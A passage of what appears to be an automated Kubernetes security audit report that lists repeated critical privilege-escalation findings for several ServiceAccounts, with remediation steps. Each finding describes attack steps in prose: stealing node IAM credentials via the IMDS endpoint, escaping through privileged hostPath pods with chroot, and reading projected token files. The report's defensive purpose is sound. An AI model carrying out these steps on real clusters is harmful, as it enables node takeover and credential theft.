  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/flat-network/default Cluster 9.4
ServiceAccount/flat-network/default can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/flat-network/defaultnode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/flat-network/default

Subject ServiceAccount/flat-network/default has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/flat-network/default/ via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod flat-network/api-55d9f69c7d-xjctl falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/flat-network/default yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/flat-network/default.
  2. Acting as ServiceAccount/flat-network/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod flat-network/api-55d9f69c7d-xjctl falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/flat-network/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod flat-network/api-55d9f69c7d-xjctl falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/flat-network/default/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/flat-network/default/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/ingress-only/default Cluster 9.4
ServiceAccount/ingress-only/default can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/ingress-only/defaultnode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/ingress-only/default

Subject ServiceAccount/ingress-only/default has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/ingress-only/default/ via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod ingress-only/ingress-app-7bdfc6c57-m9l7g falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/ingress-only/default yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/ingress-only/default.
  2. Acting as ServiceAccount/ingress-only/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod ingress-only/ingress-app-7bdfc6c57-m9l7g falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/ingress-only/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod ingress-only/ingress-app-7bdfc6c57-m9l7g falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/ingress-only/default/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/ingress-only/default/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/local-path-storage/local-path-provisioner-service-account Cluster 9.4
ServiceAccount/local-path-storage/local-path-provisioner-service-account can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/local-path-storage/local-path-provisioner-service-accountnode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/local-path-storage/local-path-provisioner-service-account

Subject ServiceAccount/local-path-storage/local-path-provisioner-service-account has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/local-path-storage/local-path-provisioner-service-account/ via pod_create_privileged_escape (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/local-path-storage/local-path-provisioner-service-account yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/local-path-storage/local-path-provisioner-service-account.
  2. Acting as ServiceAccount/local-path-storage/local-path-provisioner-service-account, the attacker uses the pod_create_privileged_escape technique via create pods (Pod Security Admission does not block privileged), which gains can create a privileged pod that escapes to the node.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/local-path-storage/local-path-provisioner-service-account/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/local-path-storage/local-path-provisioner-service-account/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/lp-fixtures/sa-lp-narrow Cluster 9.4
ServiceAccount/lp-fixtures/sa-lp-narrow can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/lp-fixtures/sa-lp-narrownode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-narrow

Subject ServiceAccount/lp-fixtures/sa-lp-narrow has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/lp-fixtures/sa-lp-narrow/ via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-narrow-app-6b8848bf64-nxtwn falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/lp-fixtures/sa-lp-narrow yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/lp-fixtures/sa-lp-narrow.
  2. Acting as ServiceAccount/lp-fixtures/sa-lp-narrow, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod lp-fixtures/lp-narrow-app-6b8848bf64-nxtwn falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-narrow
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-narrow-app-6b8848bf64-nxtwn falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-narrow/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-narrow/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/lp-fixtures/sa-lp-orphan Cluster 9.4
ServiceAccount/lp-fixtures/sa-lp-orphan can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/lp-fixtures/sa-lp-orphannode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-orphan

Subject ServiceAccount/lp-fixtures/sa-lp-orphan has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/lp-fixtures/sa-lp-orphan/ via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-orphan-app-68d649f6c5-nbpx6 falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/lp-fixtures/sa-lp-orphan yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/lp-fixtures/sa-lp-orphan.
  2. Acting as ServiceAccount/lp-fixtures/sa-lp-orphan, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod lp-fixtures/lp-orphan-app-68d649f6c5-nbpx6 falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-orphan
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-orphan-app-68d649f6c5-nbpx6 falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-orphan/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-orphan/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/lp-fixtures/sa-lp-wildcard Cluster 9.4
ServiceAccount/lp-fixtures/sa-lp-wildcard can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/lp-fixtures/sa-lp-wildcardnode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-wildcard

Subject ServiceAccount/lp-fixtures/sa-lp-wildcard has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/lp-fixtures/sa-lp-wildcard/ via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-wildcard-app-7bb4d99f67-f6xv4 falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/lp-fixtures/sa-lp-wildcard yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/lp-fixtures/sa-lp-wildcard.
  2. Acting as ServiceAccount/lp-fixtures/sa-lp-wildcard, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod lp-fixtures/lp-wildcard-app-7bb4d99f67-f6xv4 falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-wildcard
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-wildcard-app-7bb4d99f67-f6xv4 falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-wildcard/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-wildcard/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/netpol-imds/default Cluster 9.4
ServiceAccount/netpol-imds/default can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/netpol-imds/defaultnode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/netpol-imds/default

Subject ServiceAccount/netpol-imds/default has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/netpol-imds/default/ via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod netpol-imds/imds-allow-app-7f9f6cb9df-h8v49 falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/netpol-imds/default yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/netpol-imds/default.
  2. Acting as ServiceAccount/netpol-imds/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod netpol-imds/imds-allow-app-7f9f6cb9df-h8v49 falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/netpol-imds/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod netpol-imds/imds-allow-app-7f9f6cb9df-h8v49 falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/netpol-imds/default/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/netpol-imds/default/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/privesc-fixtures/sa-node-migrate Cluster 9.4
ServiceAccount/privesc-fixtures/sa-node-migrate can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-node-migratenode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-node-migrate

Subject ServiceAccount/privesc-fixtures/sa-node-migrate has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-node-migrate/ via node_drain_migrate (delete pods + node scheduling control): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/privesc-fixtures/sa-node-migrate yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-node-migrate.
